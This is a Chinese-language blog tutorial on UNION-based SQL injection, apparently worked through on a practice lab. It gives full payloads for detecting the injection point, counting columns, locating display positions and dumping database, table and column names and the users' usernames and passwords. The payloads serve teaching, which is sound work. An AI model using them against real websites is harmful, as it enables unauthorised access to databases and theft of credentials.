SQL注入-联合查询


前言

联合查询:
一:按照注入语法分为:联合查询注入Union/报错查询注入error/布尔型注入Boolean/延时注入Time/堆叠查询注入

二:联合查询注入是最简单的一种注入方式,但是要求页面必须有显示位.否则无法注入.

显示位:可以理解为从数据库提取的数据被显示在前端. 如果没有显示位,我们无法查看注入的结果.

三:联合查询一般步骤:
1、判断注入点还是整形或字符型
2、判断查询列数
3、判断显示位
4、获取所有数据库名
5、获取数据库所有表名
6、获取字段名
7、获取字段中的数据

在这里我们通过举例第一关来讲解
开始前我们需要掌握Mysql必会查询的语句:

  1. select database(); #查看当前库名;
  2. select table_name from information_schema.tables where table_schema=database() ; #查看当前库下的表名
  3. select column_name from information_schema.columns where table_schema=database() and table_name=‘user’; #查询列名
  4. select name,password from user; #获取用户名和密码列

一、判断注入点还是整形或字符型

在sql变量后添加以下内容来判断类型:

and 1=1 / and 1=2 回显页面不同(整形判断) 
单引号判断‘ 显示数据库错误信息或者页面回显不同(整形,字符串类型判断) 
 \ (转义符) 
-1/+1 回显下一个或上一个页面(整型判断)

注:加号‘+’在URL中有特殊含义,因此在需要对其进行URL编码为%2b

先判断是否存在注入,如果存在(正常和异常页面显示不同则存在注入)是字符型还是整型注入。
在这里插入图片描述
这里是显示正常的,添加and1=1以及and1=2(1=2为假)来判断是否为整形注入
在这里插入图片描述
在这里插入图片描述
可以看出页面均显示正常因此不是整形注入

以及--+注释说明来判断是否为字符型

?id=1’and1=1--+

在这里插入图片描述
显示页面异常

?id=1’and1=2--+

在这里插入图片描述
显示页面错误,故可判断为字符注入

二、判断列数

order by (用来查询列数)用来对表里的数据进行排序,order by 1 表示按照第一列进行排序.依次类推.
?id=1' order by 1
从1到3:均显示正常在这里插入图片描述

order by 4--+

在这里插入图片描述
显示异常,说明没有第4列,只存在前3列

三.找到显示位

UNION的作用是将两个select查询结果合并,为了爆出第一位后面的显示位需要隐藏正常结果,比如将?id=1改为?id=-1,使union前面的语句报错,执行后面的,爆出显示位

?id=-1union select 1,2,3 --+

在这里插入图片描述
在这里插入图片描述
可以看出只有当id=-1时才可以爆出笑显示位,显示位:2和3,可以插入查询语句

四.获取库名

group_concat()一次性显示:

select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA

显示当前数据库: databas()

?id=-1'union select 1,database(),3 --+

在这里插入图片描述
得到库名:security

五.获取表名

从获取库名的讲解,在这里使用group_concat()函数加一个数据表名table_name,然后指定一个来源得到库中的表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在这里插入图片描述
得到表名:emails,referers,uagents,users

六.获取列名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+

从users中获取
在这里插入图片描述

七.获取字段信息

?id=-1' union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+

这里是username,password的信息,3是该表中有三列,from 为从users中获取的
在这里插入图片描述
在这里插入图片描述
获取成功了!

总结

union注入是最简单方便的,但是要求页面必须有显示位,没有就没法利用,在学习sql注入的道路上我们才刚刚起步,加油吧少年!

  • 6
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值